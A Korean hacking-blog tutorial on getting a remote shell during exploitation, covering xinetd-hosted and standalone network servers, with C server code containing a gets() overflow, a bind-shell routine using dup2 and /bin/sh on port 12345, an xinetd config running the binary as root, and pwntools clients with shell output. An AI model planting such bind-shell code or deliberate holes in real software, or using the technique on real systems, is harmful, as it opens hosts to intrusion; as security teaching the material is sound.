#dokydoky

[Remote exploit] Remote shell을 얻는 방법.(Xinetd, standalone) 본문

System Hacking

[Remote exploit] Remote shell을 얻는 방법.(Xinetd, standalone)

dokydoky 2016. 12. 20. 12:24

0x1. 들어가며

안녕하세요. dokydoky입니다. remote에서 exploit 할 때, shell을 얻는 방법에 대해서 정리해보겠습니다. 이하 존칭어는 생략하겠습니다.

네트워크 프로그램을 구현하는 방법에는 두 가지가 있다.

 - 표준 입출력을 사용해 프로그램을 구현한 후, Inetd 혹은 Xinetd 데몬을 이용하여 네트워크로 연결.

 - Standalone 모드 : socket과 같은 독립적인 네트워크 프로토콜을 사용하여 구현하여 실행.

각 방법에 따라 어떻게 원격에서 쉘을 얻을 수 있는지 예를 통해 알아보겠다.

예제 코드에서는 원격에서 shellcode를 삽입하는 대신, 서버 코드에 미리 shellcode의 기능을 하는 동일한 코드를 구현해놓았다.

exploit할 때는 서버에서 shellcode 라고 표시되있는 코드를 실제 shellcode로 만들어서 사용하면 된다.  


0x2. Xinetd 데몬에 등록된 바이너리

xinetd에 등록해놓은 바이너리는 서버의 표준 입/출력/에러가 socket descriptor와 동일하다.

따라서, local exploit에서와 같이 단순히 "/bin/sh"만 실행시켜주는 shellcode만으로 충분하다.


  • Server code

[server_xinetd.c]

#include<stdio.h>

#include<unistd.h>


int main(int argc , char *argv[])

{

    char *newargv[] = { "sh", NULL };

    char *newenviron[] = { NULL };


    char buf[100];

    gets(buf);


///////////////////////////////////////////////////////////////////////////


    // shellcode 

    execve("/bin/sh", newargv, newenviron);

////////////////////////////////////////////////////////////////////////


    printf("output : %s\n", buf);


    return 0;

}


  • xinetd에 바이너리를 등록하는 과정

[/etc/xinetd.d/server_xinetd]

service server_xinetd

{

    flags = REUSE

    socket_type = stream

    wait = no

    user = root

    server = /vagrant/bin/server_xinetd

    disable = no

}


[/etc/services]

...

server_xinetd   80/tcp                          # server_xinetd

...


  • Client code

[telnetlib 라이브러리 사용]

import socket

import telnetlib


if __name__ == "__main__":

    HOST = '127.0.0.1'

    PORT = 80


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((HOST,PORT))


    t = telnetlib.Telnet()

    t.sock = s 

    t.interact()



[pwntools 라이브러리 사용]

from pwn import *


if __name__ == "__main__":

    HOST = '127.0.0.1'

    PORT = 80


    r = remote(HOST, PORT)

    r.interactive()



[Result]

dokydoky:Desktop dokydoky$ python client.py 

[+] Opening connection to 127.0.0.1 on port 80: Done

[*] Switching to interactive mode

$ ls

$ ls

bin

boot

dev

etc

flag

home

initrd.img

lib

lib64

lost+found

media

mnt

opt

proc

root

run

sbin

srv

sys

tmp

usr

vagrant

var

vmlinuz

 



0x3. Standalone

standalone 모드에서는 서버의 표준 입/출력/에러가 socket descriptor와 별개이므로,

새로운 socket을 만들고, dup2 함수를 사용해 해당 socket descriptor를 표준 입/출력/에러로 복사해주는 과정이 필요하다.

이렇게 되면, 원격(client)에서는 새롭게 열린 소켓을 서버의 표준 입/출력으로 사용할 수 있다.

  • Server code

#include<stdio.h>

#include<string.h>    //strlen

#include<sys/socket.h>

#include<arpa/inet.h> //inet_addr

#include<unistd.h>    //write

 

int main(int argc , char *argv[])

{

////////////////////////////////////////////////////////////

    // Variables for shellcode

    char *newargv[] = { "/bin/sh", NULL };

    char *newenviron[] = { NULL };

    int t_sockfd, t_your_sockfd, t_len;

    struct sockaddr_in t_my_addr, t_your_addr;

////////////////////////////////////////////////////////////

    

    int socket_desc , client_sock , c , read_size;

    struct sockaddr_in server , client;

    char client_message[120];


    //Create socket

    socket_desc = socket(AF_INET , SOCK_STREAM , 0); 

    if (socket_desc == -1

    {   

        printf("Could not create socket");

    }   

    puts("Socket created");

    

    //Prepare the sockaddr_in structure

    server.sin_family = AF_INET;

    server.sin_addr.s_addr = INADDR_ANY;

    server.sin_port = htons( 80 );

    

    //Bind

    if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)

    {   

        //print the error message

        perror("bind failed. Error");

        return 1;

    }   

    puts("bind done");

    

    //Listen

    listen(socket_desc , 3); 

    

    //Accept and incoming connection

    puts("Waiting for incoming connections...");

    c = sizeof(struct sockaddr_in);

    

    //accept connection from an incoming client

    client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c);

    if (client_sock < 0)

    {   

        perror("accept failed");

        return 1;

    }   

    puts("Connection accepted");

    

/*

    //Receive a message from client

    while( (read_size = recv(client_sock , client_message , 2000 , 0)) > 0 )

    {

        //Send the message back to client

        write(client_sock , client_message , strlen(client_message));

    }

*/

    read_size = recv(client_sock , client_message , 100 , 0); 


///////////////////////////////////////////////////////////////////////////

/////////////////////////  shellcode  /////////////////////////////////////

///////////////////////////////////////////////////////////////////////////

    t_sockfd = socket(AF_INET, SOCK_STREAM, 0); 


    t_my_addr.sin_family = AF_INET;

    t_my_addr.sin_port = htons(12345);

    t_my_addr.sin_addr.s_addr = INADDR_ANY;

    memset(&t_my_addr.sin_zero, 0, 8); 


    if(bind(t_sockfd, (struct sockaddr *)&t_my_addr, sizeof(t_my_addr))==-1){

        perror("bind");

        exit(-1);

    }   

    listen(t_sockfd, 5); 


    t_len = sizeof(t_your_addr);

    t_your_sockfd = accept(t_sockfd, (struct sockaddr *)&t_your_addr, &t_len);


    dup2(t_your_sockfd, 0); 

    dup2(t_your_sockfd, 1); 

    dup2(t_your_sockfd, 2); 


    execl("/bin/sh", "sh", NULL);


    close(t_sockfd);

    close(t_your_sockfd);

////////////////////////////////////////////////////////////////////////


    write(client_sock , client_message , strlen(client_message));


    if(read_size == 0)

    {

        puts("Client disconnected");

        fflush(stdout);

    }

    else if(read_size == -1)

    {

        perror("recv failed");

    }


    return 0;

}



  • Client code

vagrant@nginx:~$ ipython

Python 2.7.6 (default, Oct 26 2016, 20:30:19) 

Type "copyright", "credits" or "license" for more information.


IPython 5.1.0 -- An enhanced Interactive Python.

?         -> Introduction and overview of IPython's features.

%quickref -> Quick reference.

help      -> Python's own help system.

object?   -> Details about 'object', use 'object??' for extra details.


In [1]: from pwn import *


In [2]: r1 = remote('127.0.0.1', '80')

[x] Opening connection to 127.0.0.1 on port 80

[x] Opening connection to 127.0.0.1 on port 80: Trying 127.0.0.1

[+] Opening connection to 127.0.0.1 on port 80: Done


In [3]: r1.send('hello\n')


In [4]: r2 = remote('127.0.0.1', '12345')

[x] Opening connection to 127.0.0.1 on port 12345

[x] Opening connection to 127.0.0.1 on port 12345: Trying 127.0.0.1

[+] Opening connection to 127.0.0.1 on port 12345: Done


In [5]: r2.interactive()

[*] Switching to interactive mode

ls

a.out

checksec.sh

nginx1

nginx2

rop.txt

rop2.txt

rp-lin-x64

server

server.c

server_xinetd

server_xinetd.c

sh.asm

sh.txt

sudo



0x4. 참고자료

http://research.hackerschool.org/Datas/Research_Lecture/remote1.txt
http://research.hackerschool.org/Datas/Research_Lecture/remote2.txt



Comments